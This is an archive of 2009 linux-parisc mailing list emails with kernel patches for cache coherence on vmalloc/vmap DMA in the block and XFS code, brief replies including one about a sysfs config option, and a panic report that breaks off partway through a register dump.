1.6.3.3



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.kernel.cross-arch
Subject: [PATCH 4/5] block: permit I/O to vmalloc/vmap kernel pages
Date: Tue, 08 Sep 2009 22:21:04 -0500
Lines: 66
Approved: news@gmane.org
Message-ID: <1252466464.13003.372.camel@mulgrave.site>
References: <1252434469.13003.3.camel@mulgrave.site>
	 <20090908190031.GF6538@flint.arm.linux.org.uk>
	 <1252437112.13003.39.camel@mulgrave.site>
	 <20090908201619.GG6538@flint.arm.linux.org.uk>
	 <1252442352.13003.132.camel@mulgrave.site>
	 <20090908213910.GH6538@flint.arm.linux.org.uk>
	 <1252466070.13003.365.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252466495 3983 80.91.229.12 (9 Sep 2009 03:21:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 03:21:35 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: Russell King <rmk@arm.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 09 05:21:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlDkM-0007uQ-8I
	for glpp-linux-parisc@lo.gmane.org; Wed, 09 Sep 2009 05:21:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752800AbZIIDVP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2009 23:21:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752807AbZIIDVO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 8 Sep 2009 23:21:14 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:52143 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752800AbZIIDVL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2009 23:21:11 -0400
Original-Received: from relay1.suse.de (mail2.suse.de [195.135.221.8])
	by mx2.suse.de (Postfix) with ESMTP id E5C7E5FC9F;
	Wed,  9 Sep 2009 05:21:13 +0200 (CEST)
In-Reply-To: <1252466070.13003.365.camel@mulgrave.site>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2126 gmane.linux.file-systems:35150 gmane.linux.kernel.cross-arch:4357
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2126>

This updates bio_map_kern() to check for pages in the vmalloc address
range and call the new kernel flushing APIs if the are.  This should
allow any kernel user to pass a vmalloc/vmap area to block.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 fs/bio.c |   19 +++++++++++++++++--
 1 files changed, 17 insertions(+), 2 deletions(-)

diff --git a/fs/bio.c b/fs/bio.c
index 7673800..ea346b4 100644
--- a/fs/bio.c
+++ b/fs/bio.c
@@ -1120,6 +1120,13 @@ void bio_unmap_user(struct bio *bio)
 
 static void bio_map_kern_endio(struct bio *bio, int err)
 {
+	void *kaddr = bio->bi_private;
+	if (is_vmalloc_addr(kaddr)) {
+		void *addr;
+		for (addr = kaddr; addr < kaddr + bio->bi_size;
+		     addr += PAGE_SIZE)
+			invalidate_kernel_dcache_addr(addr);
+	}
 	bio_put(bio);
 }
 
@@ -1138,9 +1145,12 @@ static struct bio *__bio_map_kern(struct request_queue *q, void *data,
 	if (!bio)
 		return ERR_PTR(-ENOMEM);
 
+	bio->bi_private = data;
+
 	offset = offset_in_page(kaddr);
 	for (i = 0; i < nr_pages; i++) {
 		unsigned int bytes = PAGE_SIZE - offset;
+		struct page *page;
 
 		if (len <= 0)
 			break;
@@ -1148,8 +1158,13 @@ static struct bio *__bio_map_kern(struct request_queue *q, void *data,
 		if (bytes > len)
 			bytes = len;
 
-		if (bio_add_pc_page(q, bio, virt_to_page(data), bytes,
-				    offset) < bytes)
+		if (is_vmalloc_addr(data)) {
+			flush_kernel_dcache_addr(data);
+			page = vmalloc_to_page(data);
+		} else
+			page = virt_to_page(data);
+
+		if (bio_add_pc_page(q, bio, page, bytes, offset) < bytes)
 			break;
 
 		data += bytes;
-- 
1.6.3.3



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.file-systems
Subject: [PATCH 5/5] xfs: fix xfs to work with Virtually Indexed
 architectures
Date: Wed, 09 Sep 2009 03:21:58 +0000
Lines: 50
Approved: news@gmane.org
Message-ID: <1252466518.13003.373.camel@mulgrave.site>
References: <1252434469.13003.3.camel@mulgrave.site>
	 <20090908190031.GF6538@flint.arm.linux.org.uk>
	 <1252437112.13003.39.camel@mulgrave.site>
	 <20090908201619.GG6538@flint.arm.linux.org.uk>
	 <1252442352.13003.132.camel@mulgrave.site>
	 <20090908213910.GH6538@flint.arm.linux.org.uk>
	 <1252466070.13003.365.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252466539 4048 80.91.229.12 (9 Sep 2009 03:22:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 03:22:19 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: Russell King <rmk@arm.linux.org.uk>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Sep 09 05:22:12 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlDl4-00088Z-Ss
	for glka-linux-arch@lo.gmane.org; Wed, 09 Sep 2009 05:22:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752472AbZIIDWF (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 8 Sep 2009 23:22:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752538AbZIIDWF
	(ORCPT <rfc822;linux-arch-outgoing>); Tue, 8 Sep 2009 23:22:05 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:52168 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752279AbZIIDWD (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Tue, 8 Sep 2009 23:22:03 -0400
Original-Received: from relay2.suse.de (relay-ext.suse.de [195.135.221.8])
	by mx2.suse.de (Postfix) with ESMTP id F2D3A5FC9F;
	Wed,  9 Sep 2009 05:22:05 +0200 (CEST)
In-Reply-To: <1252466070.13003.365.camel@mulgrave.site>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4358 gmane.linux.ports.parisc:2127 gmane.linux.file-systems:35151
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2127>

xfs_buf.c includes what is essentially a hand rolled version of
blk_rq_map_kern().  In order to work properly with the vmalloc buffers
that xfs uses, this hand rolled routine must also implement the flushing
API for vmap/vmalloc areas.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 fs/xfs/linux-2.6/xfs_buf.c |   10 ++++++++++
 1 files changed, 10 insertions(+), 0 deletions(-)

diff --git a/fs/xfs/linux-2.6/xfs_buf.c b/fs/xfs/linux-2.6/xfs_buf.c
index 965df12..62ae977 100644
--- a/fs/xfs/linux-2.6/xfs_buf.c
+++ b/fs/xfs/linux-2.6/xfs_buf.c
@@ -1138,6 +1138,10 @@ xfs_buf_bio_end_io(
 	do {
 		struct page	*page = bvec->bv_page;
 
+		if (is_vmalloc_addr(bp->b_addr))
+			invalidate_kernel_dcache_addr(bp->b_addr +
+						      bvec->bv_offset);
+
 		ASSERT(!PagePrivate(page));
 		if (unlikely(bp->b_error)) {
 			if (bp->b_flags & XBF_READ)
@@ -1202,6 +1206,9 @@ _xfs_buf_ioapply(
 		bio->bi_end_io = xfs_buf_bio_end_io;
 		bio->bi_private = bp;
 
+		if (is_vmalloc_addr(bp->b_addr))
+			flush_kernel_dcache_addr(bp->b_addr);
+
 		bio_add_page(bio, bp->b_pages[0], PAGE_CACHE_SIZE, 0);
 		size = 0;
 
@@ -1228,6 +1235,9 @@ next_chunk:
 		if (nbytes > size)
 			nbytes = size;
 
+		if (is_vmalloc_addr(bp->b_addr))
+			flush_kernel_dcache_addr(bp->b_addr + PAGE_SIZE*map_i);
+
 		rbytes = bio_add_page(bio, bp->b_pages[map_i], nbytes, offset);
 		if (rbytes < nbytes)
 			break;
-- 
1.6.3.3




From - Thu Nov 08 21:04:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/5] mm: add coherence API for DMA to vmalloc/vmap areas
Date: Tue, 08 Sep 2009 22:23:21 -0500
Lines: 42
Approved: news@gmane.org
Message-ID: <1252466601.13003.374.camel@mulgrave.site>
References: <1252434469.13003.3.camel@mulgrave.site>
	 <20090908190031.GF6538@flint.arm.linux.org.uk>
	 <1252437112.13003.39.camel@mulgrave.site>
	 <20090908201619.GG6538@flint.arm.linux.org.uk>
	 <1252442352.13003.132.camel@mulgrave.site>
	 <20090908213910.GH6538@flint.arm.linux.org.uk>
	 <1252466070.13003.365.camel@mulgrave.site>
	 <1252466226.13003.367.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252466616 4184 80.91.229.12 (9 Sep 2009 03:23:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 03:23:36 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: Russell King <rmk@arm.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 09 05:23:28 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlDmK-0008Qn-3V
	for glpp-linux-parisc@lo.gmane.org; Wed, 09 Sep 2009 05:23:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752787AbZIIDXX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2009 23:23:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752441AbZIIDXX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 8 Sep 2009 23:23:23 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48725 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751481AbZIIDXW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2009 23:23:22 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6A9938EE120;
	Tue,  8 Sep 2009 20:23:25 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id PWL37dehSKrK; Tue,  8 Sep 2009 20:23:25 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C72DC8EE0E2;
	Tue,  8 Sep 2009 20:23:24 -0700 (PDT)
In-Reply-To: <1252466226.13003.367.camel@mulgrave.site>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2128 gmane.linux.file-systems:35152 gmane.linux.kernel.cross-arch:4359
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2128>

On Wed, 2009-09-09 at 03:17 +0000, James Bottomley wrote:
> On Virtually Indexed architectures (which don't do automatic alias
> resolution in their caches), we have to flush via the correct
> virtual address to prepare pages for DMA.  On some architectures
> (like arm) we cannot prevent the CPU from doing data movein along
> the alias (and thus giving stale read data), so we not only have to
> introduce a flush API to push dirty cache lines out, but also an invalidate
> API to kill inconsistent cache lines that may have moved in before
> DMA changed the data
> 
> Signed-off-by: James Bottomley <James.Bottomley@suse.de>
> ---
>  include/linux/highmem.h |    6 ++++++
>  1 files changed, 6 insertions(+), 0 deletions(-)
> 
> diff --git a/include/linux/highmem.h b/include/linux/highmem.h
> index 211ff44..9719952 100644
> --- a/include/linux/highmem.h
> +++ b/include/linux/highmem.h
> @@ -17,6 +17,12 @@ static inline void flush_anon_page(struct vm_area_struct *vma, struct page *page
>  static inline void flush_kernel_dcache_page(struct page *page)
>  {
>  }
> +static incline void flush_kernel_dcache_addr(void *vaddr)
> +{
> +}
> +static incline void invalidate_kernel_dcache_addr(void *vaddr)
> +{
> +}
>  #endif

OK, so it's been pointed out to me that I didn't compile check this ...
just testing to see everyone is awake ...

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Mundt <lethal@linux-sh.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/5] mm: add coherence API for DMA to vmalloc/vmap areas
Date: Wed, 9 Sep 2009 12:35:32 +0900
Lines: 42
Approved: news@gmane.org
Message-ID: <20090909033532.GD23049@linux-sh.org>
References: <1252434469.13003.3.camel@mulgrave.site> <20090908190031.GF6538@flint.arm.linux.org.uk> <1252437112.13003.39.camel@mulgrave.site> <20090908201619.GG6538@flint.arm.linux.org.uk> <1252442352.13003.132.camel@mulgrave.site> <20090908213910.GH6538@flint.arm.linux.org.uk> <1252466070.13003.365.camel@mulgrave.site> <1252466226.13003.367.camel@mulgrave.site> <1252466601.13003.374.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1252467349 5480 80.91.229.12 (9 Sep 2009 03:35:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 03:35:49 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 09 05:35:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlDy9-0002Pa-77
	for glpp-linux-parisc@lo.gmane.org; Wed, 09 Sep 2009 05:35:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752643AbZIIDfg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Sep 2009 23:35:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752510AbZIIDfg
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 8 Sep 2009 23:35:36 -0400
Original-Received: from 124x34x33x190.ap124.ftth.ucom.ne.jp ([124.34.33.190]:34479 "EHLO
	master.linux-sh.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751525AbZIIDff (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Sep 2009 23:35:35 -0400
Original-Received: from localhost (unknown [127.0.0.1])
	by master.linux-sh.org (Postfix) with ESMTP id 8838563758;
	Wed,  9 Sep 2009 03:35:33 +0000 (UTC)
X-Virus-Scanned: amavisd-new at linux-sh.org
Original-Received: from master.linux-sh.org ([127.0.0.1])
	by localhost (master.linux-sh.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id lFblwE3xHiwb; Wed,  9 Sep 2009 12:35:32 +0900 (JST)
Original-Received: by master.linux-sh.org (Postfix, from userid 500)
	id 7B2FB6375A; Wed,  9 Sep 2009 12:35:32 +0900 (JST)
Mail-Followup-To: Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Russell King <rmk@arm.linux.org.uk>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Filesystem Mailing List <linux-fsdevel@vger.kernel.org>,
	linux-arch@vger.kernel.org, Christoph Hellwig <hch@lst.de>
Content-Disposition: inline
In-Reply-To: <1252466601.13003.374.camel@mulgrave.site>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2129 gmane.linux.file-systems:35153 gmane.linux.kernel.cross-arch:4360
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2129>

On Tue, Sep 08, 2009 at 10:23:21PM -0500, James Bottomley wrote:
> On Wed, 2009-09-09 at 03:17 +0000, James Bottomley wrote:
> > On Virtually Indexed architectures (which don't do automatic alias
> > resolution in their caches), we have to flush via the correct
> > virtual address to prepare pages for DMA.  On some architectures
> > (like arm) we cannot prevent the CPU from doing data movein along
> > the alias (and thus giving stale read data), so we not only have to
> > introduce a flush API to push dirty cache lines out, but also an invalidate
> > API to kill inconsistent cache lines that may have moved in before
> > DMA changed the data
> > 
> > Signed-off-by: James Bottomley <James.Bottomley@suse.de>
> > ---
> >  include/linux/highmem.h |    6 ++++++
> >  1 files changed, 6 insertions(+), 0 deletions(-)
> > 
> > diff --git a/include/linux/highmem.h b/include/linux/highmem.h
> > index 211ff44..9719952 100644
> > --- a/include/linux/highmem.h
> > +++ b/include/linux/highmem.h
> > @@ -17,6 +17,12 @@ static inline void flush_anon_page(struct vm_area_struct *vma, struct page *page
> >  static inline void flush_kernel_dcache_page(struct page *page)
> >  {
> >  }
> > +static incline void flush_kernel_dcache_addr(void *vaddr)
> > +{
> > +}
> > +static incline void invalidate_kernel_dcache_addr(void *vaddr)
> > +{
> > +}
> >  #endif
> 
> OK, so it's been pointed out to me that I didn't compile check this ...
> just testing to see everyone is awake ...
> 
And here I thought it was a new gcc construct along the lines of
inline-if-so-inclined.. :-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Disable CONFIG_SYSFS_DEPRECATED_V2?
Date: Wed, 9 Sep 2009 10:03:04 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <20090909140305.995014CFD@hiauly1.hia.nrc.ca>
References: <1252465927.13003.363.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252504997 12031 80.91.229.12 (9 Sep 2009 14:03:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 14:03:17 +0000 (UTC)
Cc: carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 09 16:03:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlNlN-0005ye-H0
	for glpp-linux-parisc@lo.gmane.org; Wed, 09 Sep 2009 16:03:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751417AbZIIODF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Sep 2009 10:03:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752528AbZIIODE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 9 Sep 2009 10:03:04 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4869 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751417AbZIIODE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Sep 2009 10:03:04 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 995014CFD; Wed,  9 Sep 2009 10:03:05 -0400 (EDT)
In-Reply-To: <1252465927.13003.363.camel@mulgrave.site> from "James Bottomley" at Sep 8, 2009 10:12:07 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2130
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2130>

> On Tue, 2009-09-08 at 23:00 -0400, Carlos O'Donell wrote:
> > Does anyone know if it's safe to disable CONFIG_SYSFS_DEPRECATED_V2
> > for kernels running on debian?
> > 
> > Do the debian tools support the new sysfs layout?
> 
> Seems so ... I've got it unset on my debian testing systems.

Same here.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Problem with sysrq-t in 2.6.31-rc5?
Date: Wed, 9 Sep 2009 10:13:44 -0400
Lines: 86
Approved: news@gmane.org
Message-ID: <119aab440909090713o5631666ck607fd2c52555da1f@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1252505644 14441 80.91.229.12 (9 Sep 2009 14:14:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 14:14:04 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 09 16:13:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlNvf-0001nZ-U9
	for glpp-linux-parisc@lo.gmane.org; Wed, 09 Sep 2009 16:13:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752121AbZIIONn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Sep 2009 10:13:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752150AbZIIONn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 9 Sep 2009 10:13:43 -0400
Original-Received: from mail-bw0-f219.google.com ([209.85.218.219]:48724 "EHLO
	mail-bw0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752121AbZIIONm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Sep 2009 10:13:42 -0400
Original-Received: by bwz19 with SMTP id 19so447453bwz.37
        for <linux-parisc@vger.kernel.org>; Wed, 09 Sep 2009 07:13:44 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        bh=dKjsGPfcWtfUjQoAhD0UOC9CcWbdb4TGcS25+KoFUvo=;
        b=ixu1nwpDtKHnhdikqg7XSk9y1XBtOAQUDeivreXaaKyAi57Anw8ZQe/aMwESkjSb/N
         duGJlh2NGR9LPiGtgqOgHHGQuHwcKCk3k5GiFpXc7E0EUbMP6bGreGIX7jBigwL/YVZ6
         zmZ0YRvkmO+rtW8D+4Ju3vKWBOzCNJFjHkPHo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=C7zW9v6USjYpQeTeJz8ZGGXJyLXB9tyi4mE6EhkdbIijlMHFScvKfs+z+eoN9cZHHs
         juR8ABBMLzLCHACNHOmFHKoQHL2oFhXBhwp2DDzkRPrIDK0cb6Of80y59hYKsfR9MxgI
         uv+EBDTjbz3Kve1UKWaj4+ue8vVV6SL8hTOeE=
Original-Received: by 10.223.144.67 with SMTP id y3mr391529fau.20.1252505624432; Wed, 
	09 Sep 2009 07:13:44 -0700 (PDT)
X-Google-Sender-Auth: 2971e10a6f20b455
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2131
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2131>

While attempting a sysrq-t on 2.6.31-rc5, I got the following panic.

Has anyone seen this before?
~~~
SysRq : Show State
  task                        PC stack   pid father
init          S 0000000040103568     0     1      0 0x00000010
Backtrace:
 [<0000000040115dec>] schedule+0x324/0x938
 [<0000000040175654>] hrtimer_try_to_cancel+0x2c/0xd0
Backtrace:
 [<0000000040290e94>] memcpy+0x2c/0x40


Bad Address (null pointer deref?): Code=15 regs=00000000405a53c0
(Addr=c00007ff9f85cb90)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001101111111100001110 Not tainted
r00-03  000000ff0806ff0e 00000000405f8c80 0000000000000010 00000000405a4e78
r04-07  000000006fc00000 000000006bc23fd9 0000000000000003 00000000405f8480
r08-11  0000000000000080 0000000073c00008 00000000405253f8 000000000800000e
r12-15  00000000404d9048 000000000800000f 0000000000000002 0000000000000004
r16-19  00000000405a49e9 00000000405a49e8 000000009dc6e9e0 000000004011d370
r20-23  ffffffffffffff60 0000000040175628 00000000ffffff60 000000004047de04
r24-27  00000000401755f8 0000000000000000 0000000040175654 00000000405ebc80
r28-31  ffffffff9f85cb90 0000000037de0000 00000000405a53c0 ffffffff9f85cba0
sr00-03  00000000001f6800 0000000000000000 0000000000000000 00000000001f6800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

